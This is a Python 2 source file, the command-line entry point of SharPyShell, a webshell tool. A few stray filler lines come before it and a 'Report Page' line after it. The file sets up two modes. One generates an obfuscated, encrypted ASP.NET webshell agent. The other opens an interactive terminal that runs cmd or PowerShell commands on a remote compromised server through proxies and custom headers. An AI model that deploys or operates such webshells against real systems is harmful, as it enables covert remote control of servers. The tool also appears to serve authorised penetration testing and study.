zxc

zxc

zxc

#!/usr/bin/env python2


from core.Generate import Generate

from core.SharPyShellPrompt import SharPyShellPrompt

from core import config

import argparse



example_text_main = '''

examples:

  python SharPyShell.py generate -p 'somepassword'

  python SharPyShell.py interact -u 'http://target.url/sharpyshell.aspx' -p 'somepassword'

'''



def create_generate_parser(subparsers):

  generate_parser = subparsers.add_parser(

    'generate', formatter_class=argparse.RawTextHelpFormatter,

    usage='SharPyShell.py generate -p password -e encryption -o obfuscator [--output] [--endian-type]',

    help='Generate the obfuscated webshell agent',

  )

  generate_parser._action_groups.pop()

  required_generate_parser = generate_parser.add_argument_group('required arguments')

  optional_generate_parser = generate_parser.add_argument_group('optional arguments')

  required_generate_parser.add_argument(

    '-p',

    '--password',

    help='\tThe password to use as a shared key for encrypting the channel',

    required=True,

    metavar='\b'

  )

  required_generate_parser.add_argument(

    '-e',

    '--encryption',

    help='\tThe encryption scheme to use for encrypting the communication channel'

       '\nAllowed values: \'xor\', \'aes128\', \'aes256\''

       '\nDefault \'xor\'',

    choices=['xor', 'aes128', 'aes256'],

    default='xor',

    metavar='\b'

  )

  required_generate_parser.add_argument(

    '-o',

    '--obfuscator',

    help='\tThe obfuscator to use for the webshell agent'

       '\nAllowed values: \'raw\', \'encrypted_dll\', \'encrypted_dll_ulong_compression\''

       '\nDefault \'encrypted_dll\'',

    choices=['raw', 'encrypted_dll', 'encrypted_dll_ulong_compression'],

    default='encrypted_dll',

    metavar='\b'

  )

  optional_generate_parser.add_argument(

    '--output',

    help='\tThe output path where to generate the webshell agent',

    metavar='\b'

  )

  optional_generate_parser.add_argument(

    '--endian-type',

    help='\tThe Endianess type for ulong representation'

       '\nSet if your machine and the target server have different CPU Endianess type'

       '\nThis is valid only for \'encrypted_dll_ulong_compression\' obfuscator'

       '\nAllowed values: \'default\', \'little\', \'big\''

       '\nDefault \'default\'',

    choices=['default', 'little', 'big'],

    default='default',

    metavar='\b'

  )

  generate_parser.set_defaults(mode='generate')



def create_interact_parser(subparsers):

  interact_parser = subparsers.add_parser(

    'interact', formatter_class=argparse.RawTextHelpFormatter,

    usage='SharPyShell.py interact -u URL -p password -e encryption [--default-shell] [--user-agent] [--cookies] [--custom-header] [--insecure] [--proxy]',

    help='Run terminal and interact with the remote agent'

  )

  interact_parser._action_groups.pop()

  required_interact_parser = interact_parser.add_argument_group('required arguments')

  optional_interact_parser = interact_parser.add_argument_group('optional arguments')

  required_interact_parser.add_argument(

    '-u',

    '--url',

    help='\tThe remote agent url',

    required=True,

    metavar='\b'

  )

  required_interact_parser.add_argument(

    '-p',

    '--password',

    help='\tThe password to use as a shared key for encrypting the channel',

    required=True,

    metavar='\b'

  )

  required_interact_parser.add_argument(

    '-e',

    '--encryption',

    help='\tThe encryption scheme to use for encrypting the communication channel'

       '\nAllowed values: \'xor\', \'aes128\', \'aes256\''

       '\nDefault \'xor\'',

    choices=['xor', 'aes128', 'aes256'],

    default='xor',

    metavar='\b'

  )

  optional_interact_parser.add_argument(

    '--default-shell',

    help='\tThe default shell to use for the terminal'

       '\nAllowed values: \'exec_cmd\', \'exec_ps\''

       '\nDefault \'exec_cmd\'',

    choices=['exec_cmd', 'exec_ps'],

    default='exec_cmd',

    metavar='\b'

  )

  optional_interact_parser.add_argument(

    '--user-agent',

    help='\tThe user agent to use for the requests',

    default='default',

    metavar='\b'

  )

  optional_interact_parser.add_argument(

    '--cookies',

    help='\tCookies value to send within the requests',

    default=False,

    metavar='\b'

  )

  optional_interact_parser.add_argument(

    '--custom-header',

    help='\tCustom header to send within the requests',

    default=False,

    metavar='\b'

  )

  optional_interact_parser.add_argument(

    '--insecure',

    help='\tIf set to true, it skips the check for a valid ssl certificate',

    default='false',

    metavar='\b'

  )

  optional_interact_parser.add_argument(

    '--proxy',

    help='\tHttp, https or socks proxy to use within requests',

    default=False,

    metavar='\b'

  )

  interact_parser.set_defaults(mode='interact')



if __name__ == '__main__':

  print config.banner

  parser = argparse.ArgumentParser(prog='SharPyShell', formatter_class=argparse.RawTextHelpFormatter,

                   epilog=example_text_main)

  parser.add_argument('--version', action='version', version=config.header)

  subparsers = parser.add_subparsers()

  create_generate_parser(subparsers)

  create_interact_parser(subparsers)

  args = parser.parse_args()


  if args.mode == 'generate':

    generate_obj = Generate(args.password, args.encryption, args.obfuscator, args.endian_type, args.output)

    generate_obj.generate()


  if args.mode == 'interact':

    prompt = SharPyShellPrompt(args.password, args.encryption, args.default_shell, args.url,

                  args.user_agent, args.cookies, args.custom_header, args.insecure, args.proxy)

    prompt.cmdloop('\n')


Report Page